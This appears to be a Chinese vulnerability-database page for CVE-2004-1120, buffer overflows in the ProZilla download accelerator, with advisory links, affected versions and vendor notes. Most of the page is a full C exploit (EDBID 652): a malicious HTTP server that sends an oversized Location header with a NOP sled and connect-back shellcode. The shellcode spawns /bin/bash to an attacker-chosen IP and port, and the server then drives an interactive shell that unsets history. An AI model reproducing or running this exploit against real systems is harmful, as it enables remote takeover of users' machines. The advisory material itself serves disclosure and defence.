CVE-2004-1120
CVSS10.0
发布时间 :2005-01-10 00:00:00
修订时间 :2016-12-06 21:59:08
NMCOES    

[原文]Multiple buffer overflows in (1) http.c, (2) http-retr.c, (3) main.c and other code that handles network protocols in ProZilla 1.3.6-r2 and earlier allow remote servers to execute arbitrary code via a long Location header.


[CNNVD]ProZilla 多个 缓冲区溢出漏洞(CNNVD-200501-219)

        prozilla是一款Linux下的下载程序。
        ProZilla 1.3.6-r2及之前版本中多个程序(http.c、http-retr.c、main.c及其他处理网络协议的代码)存在缓冲区溢出漏洞。
        远程恶意服务器可通过超长的Location头,利用此漏洞执行任意代码。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

cpe:/a:prozilla:prozilla_download_accelerator:1.3.5.2
cpe:/a:prozilla:prozilla_download_accelerator:1.0.0
cpe:/a:prozilla:prozilla_download_accelerator:1.3.4
cpe:/a:prozilla:prozilla_download_accelerator:1.3.5.1
cpe:/a:prozilla:prozilla_download_accelerator:1.3.6
cpe:/a:prozilla:prozilla_download_accelerator:1.3.5
cpe:/a:prozilla:prozilla_download_accelerator:1.3.0
cpe:/a:prozilla:prozilla_download_accelerator:1.3.2
cpe:/a:prozilla:prozilla_download_accelerator:1.3.1
cpe:/a:prozilla:prozilla_download_accelerator:1.3.3

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1120
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-1120
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200501-219
(官方数据源) CNNVD

- 其它链接及资源

http://bugs.gentoo.org/show_bug.cgi?id=70090
(UNKNOWN)  CONFIRM  http://bugs.gentoo.org/show_bug.cgi?id=70090
http://www.debian.org/security/2005/dsa-663
(UNKNOWN)  DEBIAN  DSA-663
http://www.gentoo.org/security/en/glsa/glsa-200411-31.xml
(VENDOR_ADVISORY)  GENTOO  GLSA-200411-31
http://www.securityfocus.com/archive/1/382219
(UNKNOWN)  BUGTRAQ  20041124 Prozilla Remote Exploit
http://www.securityfocus.com/bid/11734
(VENDOR_ADVISORY)  BID  11734
http://xforce.iss.net/xforce/xfdb/18210
(VENDOR_ADVISORY)  XF  prozilla-bo(18210)

- 漏洞信息

ProZilla 多个 缓冲区溢出漏洞
危急 缓冲区溢出
2005-01-10 00:00:00 2005-10-20 00:00:00
远程  
        prozilla是一款Linux下的下载程序。
        ProZilla 1.3.6-r2及之前版本中多个程序(http.c、http-retr.c、main.c及其他处理网络协议的代码)存在缓冲区溢出漏洞。
        远程恶意服务器可通过超长的Location头,利用此漏洞执行任意代码。

- 公告与补丁

        目前厂商已经发布了升级补丁以修复此安全问题,补丁获取链接:
        http://prozilla.genesys.ro/

- 漏洞信息 (652)

Prozilla 1.3.6 Remote Stack Overflow Exploit (EDBID:652)
linux remote
2004-11-23 Verified
8080 Serkan Akpolat
N/A [点击下载]
/* 20/10/2004
** This is a private work of Serkan Akpolat deicide@siyahsapka.org
** for the unpublished prozilla-1.3.6 format string/buffer overflow
** vulnerability , though this version only exploits the stack overflow.
** Tested against current gentoo/slack/debian/suse with success. :P
** Client side: proz hostname:port/anyfile.name
** Default listen port is 8080
** Homepage: www.siyahsapka.org ||  deicide.siyahsapka.org
**/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <string.h>
#include <signal.h>
#define PORT 8080
#define MAX_RESPONSE 2048
#define TRUE 1

char packet_start[]=\
"HTTP/1.1 302 Found\r\n"
"Location: http://";

char packet_end[]=\
"\r\n"
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";

/* Shellcode with no control character.
** Nop's in the shellcode will be patched for attacker defined ip port
** at runtime.
*/
char real_response[]=\
"HTTP/1.1 302 Found\r\n"
"Location: http://blahblahblah.com/movie.wmv\r\n"
"Content-Encoding: gzip\r\n"
"Content-Type: text/html; charset=iso-8859-1\r\n"
"Connection: close\r\n\r\n";

unsigned char shellcode[] = {
 /* write(1,"\n\n\n\n",4) 0x31 times */
 0x31, 0xf6, 0x31, 0xff, 0x83, 0xc6, 0x31, 0x31, 0xc0, 0xb9, 0x5a, 0x5a,
 0x5a, 0x5a, 0x81, 0xe9, 0x50, 0x50, 0x50, 0x50, 0x51, 0x54, 0x59, 0x31,
 0xdb, 0x43, 0x40, 0x40, 0x40, 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42,
 0xcd, 0x80, 0x47, 0x39, 0xf7, 0x75, 0xdc,
 /* write(1,"\n\n\nEnd of file while parsing header",38);*/
 0x31, 0xc0, 0x31, 0xdb, 0xbe, 0x4a, 0x4a, 0x4a, 0x4a, 0x81, 0xee, 0x40,
 0x40, 0x40, 0x40, 0x56, 0x68, 0x61, 0x64, 0x65, 0x72, 0x68, 0x67, 0x20,
 0x68, 0x65, 0x68, 0x72, 0x73, 0x69, 0x6e, 0x68, 0x65, 0x20, 0x70, 0x61,
 0x68, 0x77, 0x68, 0x69, 0x6c, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x68, 0x6f,
 0x66, 0x20, 0x66, 0x68, 0x45, 0x6e, 0x64, 0x20, 0x54, 0x59, 0x43, 0x40,
 0x40, 0x40, 0x40, 0x31, 0xd2, 0xb2, 0x24, 0xcd, 0x80,
 /* fork(); */
 0x31, 0xc0, 0x40, 0x40, 0xcd, 0x80,
 /* If we are parent  exit(?) */
 0x31, 0xdb, 0x39, 0xc3, 0x74, 0x23, 0x31, 0xc0, 0xfe, 0xc0, 0xfe, 0xc8,
 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8, 0xfe, 0xc0, 0xfe, 0xc8,
 0xfe, 0xc0, 0x43, 0xcd, 0x80,
 /* setsid() */
 0x31, 0xc0, 0xb0, 0x42, 0xcd, 0x80,
 /* signal(SIGHUP,SIG_IGN) */
 0xb0, 0x30, 0x66, 0x29, 0xdb, 0x43, 0x89, 0xd9, 0xcd, 0x80,
 /* sock = socket(AF_INET, SOCK_STREAM, IPPROTO_IP) */
 0x31, 0xc0, 0x50, 0x40, 0x50, 0x40, 0x50, 0x89, 0xe1, 0xb0, 0x66, 0xcd,
 0x80,
 /* i = connect(sock, sockaddr, 16) */
 0x89, 0xc6, 0x4b, 0x53, 0x53, 0xbf, 0x90, 0x90, 0x90, 0x90, 0x81, 0xf7,
 0x90, 0x90, 0x90, 0x90, 0x57, 0x66, 0xba, 0x90, 0x90, 0x66, 0x81, 0xf2,
 0x90, 0x90, 0x66, 0x52, 0x43, 0x43, 0x66, 0x53, 0x89, 0xe2, 0xb3, 0x50,
 0x80, 0xeb, 0x40, 0x53, 0x52, 0x50, 0x89, 0xe1, 0xb3, 0x4f, 0x80, 0xeb,
 0x4c, 0xb0, 0x66, 0xcd, 0x80,
 /* if (i != 0) jmp exit(?) */
 0x31, 0xc9, 0x39, 0xc8, 0x75,0x57,
 /* write(sd,"SSSS",4) */
 0x68, 0x53, 0x53, 0x53, 0x53, 0x54, 0x59, 0x89, 0xf3, 0x40, 0x40, 0x40,
 0x40, 0x31, 0xd2, 0x42, 0x42, 0x42, 0x42, 0xcd, 0x80,
 /* dup2 loop */
 0x31, 0xc9, 0x41, 0x41, 0xb0, 0x3f, 0xcd, 0x80, 0x49, 0x75, 0xf9, 0xb0,
 0x3f, 0xcd, 0x80,
 /* execve("/bin/bash",{"bash",NULL} , NULL) */
 0x31, 0xc0, 0x31, 0xd2, 0x50, 0x6a, 0x68, 0xb8, 0x40, 0x34, 0x34, 0x33,
 0x35, 0x6f, 0x56, 0x55, 0x40, 0x50, 0xb8, 0x40, 0x31, 0x34, 0x33, 0x35,
 0x6f, 0x53, 0x5d, 0x5d, 0x50, 0x54, 0x5b, 0x31, 0xc0, 0x50, 0x68, 0x62,
 0x61, 0x73, 0x68, 0x89, 0xe7, 0x50, 0x57, 0x54, 0x59, 0xb0, 0x4b, 0x2c,
 0x40, 0xcd, 0x80,
 /* exit(?); */
 0x31, 0xc0, 0x40, 0xcd, 0x80
};

void usage(char *progname)
{
   fprintf(stderr, "Usage: %s [-cp] [ip]\n\n"\
   "-c <ip address> connectback ip address\n"\
   "-p <port>       connectback port (default = 8080)\n", progname);
   exit(1);
}

/* Interactive shell session */
void shell(int sock)
{
   /* from sambal.c, hey eSDee ;) */
   fd_set  fd_read;
   char buff[1024], *cmd="unset HISTFILE; echo \"*** Hobareeeey! ***\";uname -a;id;\n";
   int n;
   FD_ZERO(&fd_read);
   FD_SET(sock, &fd_read);
   FD_SET(0, &fd_read);
   send(sock, cmd, strlen(cmd), 0);

       while(1) {
       FD_SET(sock,&fd_read);
       FD_SET(0,&fd_read);
       if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break;
       if (FD_ISSET(sock, &fd_read)) {
           if((n = recv(sock, buff, sizeof(buff), 0)) < 0){
               fprintf(stderr, "EOF\n");
               exit(2);
           }
           if (write(1, buff, n) < 0) break;
       }
       if (FD_ISSET(0, &fd_read)) {
           if((n = read(0, buff, sizeof(buff))) < 0){
               fprintf(stderr, "EOF\n");
               exit(2);
           }
           if (send(sock, buff, n, 0) < 0) break;
       }
       usleep(10);
   }
   fprintf(stderr, "Connection lost.\n\n");
   exit(0);
}

void put_ip(int i,int j)
{
   shellcode[j]=i;
}

void put_xor(int i,int j,int k)
{
   shellcode[j+k]=i;
}

int find_xor(int a,int b,int c)
{
   int i=49,j=49;
   for(i=49;i<255;i++) {
       for(j=49;j<255;j++) {
           if(a==(i^j)) {
               put_ip  (i,b);
               put_xor (j,b,c);
               b++;
               return b;
           }
       }
   }
   return -1;
}

void check_zombie(int x)
{
   waitpid(-1,NULL,WNOHANG);
}

void send_start(int connection)
{
   if (send(connection,packet_start,strlen(packet_start),0)==-1) {
       perror("send");
   }
   fprintf(stderr,"[+] Sending Header Start\n");
}

void send_nop(int connection)
{
   int  i = 0;
   int  j = 1;
   char buffer [1024] ="AA@@";
   char counter [128];

   memset(counter ,0x00,128 );
   memset(buffer+3,0x41,1021);
   buffer[1024-1]='\0';

   while(i<96) {
       if (send(connection,buffer,strlen(buffer),0)==-1) {
           perror("send");
       }
       i++;
       if(!(i%4))
           j++;
       memset (counter,0x2b,j);
       memset (counter+j,0x20,26-j);
       fprintf(stderr ,"\r[+] Sending 96kb Nop [ %s]",counter);
       memset(counter,0x00,sizeof(counter));
   }

   fprintf(stderr,"\n");
   fprintf(stderr,"[+] Sending Shellcode\n");

   if (send(connection,shellcode,strlen(shellcode),0)==-1) {
       perror("send");
   }

}

void send_hostname(int connection)
{
   int  i = 0;
   char fill_buffer[1600];
   memset(fill_buffer,0x00,1600);

   /* We dont care about alignment, return 0x08080808 */

   for(;i<400;i++) {
       strcat(fill_buffer , "\x08\x08\x08\x08");
   }

   fprintf(stderr,"[+] Sending Return address [ 0x08080808 ]\n");

   if (send(connection,fill_buffer,1600,0)==-1) {
       perror("send");
   }
}

void send_end(int connection)
{
   fprintf(stderr,"[+] Sending Header End\n");
   if (send(connection,packet_end,strlen(packet_end),0)==-1) {
       perror("send");
   }
}

int init_socket(struct sockaddr_in *control_addr,struct sockaddr_in *from_addr,int *from_len)
{
   int control;

   if((control=socket(AF_INET,SOCK_STREAM,0))<0) {
       perror("Socket:");
       exit(1);
   }

   control_addr->sin_port=htons(PORT);
   control_addr->sin_addr.s_addr=INADDR_ANY;
   control_addr->sin_family=AF_INET;

   if((bind(control,(struct sockaddr *)control_addr,sizeof(*control_addr)))!=0) {
       perror("Bind:");
       exit(1);
   }
   if(listen(control,128)!=0) {
       perror("Listen:");
       exit(1);
   }

   *from_len =sizeof(*from_addr);
   signal(SIGCHLD,check_zombie);
   return control;
}

int main(int argc,char **argv)
{
   /* ip patch position */
   int    i=194;
   int    opt_p=0,opt_c=0;
   int    port,porthigh,portlow;
   int    c,f;
   int    control;
   int    connection,from_len;
   int    ip1,ip2,ip3,ip4;
   char   http_response [2048];
   char   client_request[2048];
   struct sockaddr_in *control_addr = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));
   struct sockaddr_in *from_addr    = (struct sockaddr_in *)malloc(sizeof(struct sockaddr_in));

   while((c=getopt(argc, argv ,"hc:p:"))!=EOF) {
           switch (c) {
               case 'h':
                   usage(argv[0]);
               case 'c':
                   opt_c=1;
                   sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3,&ip4);
                   break;
               case 'p':
                   opt_p=1;
                   port = atoi(optarg);
                   if ((port <= 0) || (port > 65535)) {
                       fprintf(stderr, "Invalid port.\n\n");
                       exit(1);
                   }
           }
   }
   if(opt_p) {
       porthigh = (port & 0xff00) >> 8;
       portlow  = (port & 0x00ff);
   }
   else {
       port     = 8080;
       porthigh = (port & 0xff00) >> 8;
       portlow  = (port & 0x00ff);
   }
   if(!opt_c) {
       usage(argv[0]);
   }
   memset(http_response,0x0,MAX_RESPONSE);
   control = init_socket(control_addr,from_addr,&from_len);

   /* patch ip */
   i = find_xor(ip1,i,6);
   i = find_xor(ip2,i,6);
   i = find_xor(ip3,i,6);
   i = find_xor(ip4,i,6);

   /* patch port */
   i  = 207;
   i = find_xor( porthigh,i,5);
   i = find_xor( portlow ,i,5);

   while(TRUE) {
       if((connection=accept(control,(struct sockaddr *)from_addr,&from_len))==-1) {
           exit(1);
       }

       fprintf(stderr,"[+] Victim at : %s\n", inet_ntoa(from_addr->sin_addr));
       if (read(connection,client_request,sizeof(client_request))==0) {
           exit(1);
       }

       /* Victim Responded */
               if(strstr(client_request,"Prozilla"))
               {
                       fprintf(stderr,"[+] Victim using Prozilla.\n");
                       f=1;
               }
               else {
                       if(strstr(client_request,"SSSS")) {
                   fprintf(stderr,"Nice , Victim Responded!\n");
               shell(connection);
                       }
                       else {
                               fprintf(stderr,"[+] Victim is not using Prozilla! Sending a normal response.\n");
                               if(send(connection,real_response,strlen(shellcode),0)==-1) {
                               perror("send");
                               }
               }
               }
               if(f==1) {
               /* HTTP */
               send_start(connection);
               /* nop sled [nop@] */
               send_nop(connection);
               /* Overwrite Saved Ret , return to heap */
               send_hostname(connection);
               /* HTTP END */
               send_end(connection);
                       f=0;
               }
       close(connection);
       memset(client_request,0x0,sizeof(client_request));

       if (fork()==0) {
               free(from_addr);
               free(control_addr);
               exit(0);
       }
       else {
           close(connection);
       }

   }

   printf("Done");
   return 0;
}

// milw0rm.com [2004-11-23]
		

- 漏洞信息

12111
ProZilla Network Protocol Overflows
Remote / Network Access Input Manipulation
Loss of Integrity Upgrade
Exploit Public Vendor Verified

- 漏洞描述

Unknown or Incomplete

- 时间线

2004-11-23 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

ProZilla Multiple Remote Buffer Overflow Vulnerabilities
Boundary Condition Error 11734
Yes No
2004-11-23 12:00:00 2009-07-12 08:06:00
Robert Muchacki <muchar@muchar.one.pl> reported these issues to Gentoo. Further information was disclosed by Florian Schilhabel, and Dan Margolis.

- 受影响的程序版本

Prozilla ProZilla Download Accelerator 1.3.6
+ Debian Linux 3.0 sparc
+ Debian Linux 3.0 s/390
+ Debian Linux 3.0 ppc
+ Debian Linux 3.0 mipsel
+ Debian Linux 3.0 mips
+ Debian Linux 3.0 m68k
+ Debian Linux 3.0 ia-64
+ Debian Linux 3.0 ia-32
+ Debian Linux 3.0 hppa
+ Debian Linux 3.0 arm
+ Debian Linux 3.0 alpha
+ Debian Linux 3.0
Prozilla ProZilla Download Accelerator 1.3.5 .2
Prozilla ProZilla Download Accelerator 1.3.5 .1
Prozilla ProZilla Download Accelerator 1.3.5
Prozilla ProZilla Download Accelerator 1.3.4
Prozilla ProZilla Download Accelerator 1.3.3 .x
Prozilla ProZilla Download Accelerator 1.3.3
Prozilla ProZilla Download Accelerator 1.3.2
Prozilla ProZilla Download Accelerator 1.3.1
Prozilla ProZilla Download Accelerator 1.3 .0
Prozilla ProZilla Download Accelerator 1.0 x

- 漏洞讨论

It is reported that multiple buffer overflow vulnerabilities exist in ProZilla. These issues are due to a failure of the application to properly bounds check user-supplied input prior to copying it into fixed sized memory buffers.

These vulnerabilities allow remote attackers to execute arbitrary code in the context of a user running the affected application. A victim user is required to attempt to download files from an attacker-controlled server for an exploit to succeed.

- 漏洞利用

An example exploits have been provided by Florian Schilhabel and Serkan Akpolat:

- 解决方案

Gentoo Linux has released advisory GLSA 200411-31 describing this issue. Please see the referenced advisory for further information. Gentoo Linux does not have a fix available at this time, and they recommend against using ProZilla until such a fix is provided by the vendor.

Debian has released advisory DSA 663-1 to address these issues. Please see the referenced advisory for more information.

Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com <mailto:vuldb@securityfocus.com>.


Prozilla ProZilla Download Accelerator 1.3.6

- 相关参考

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站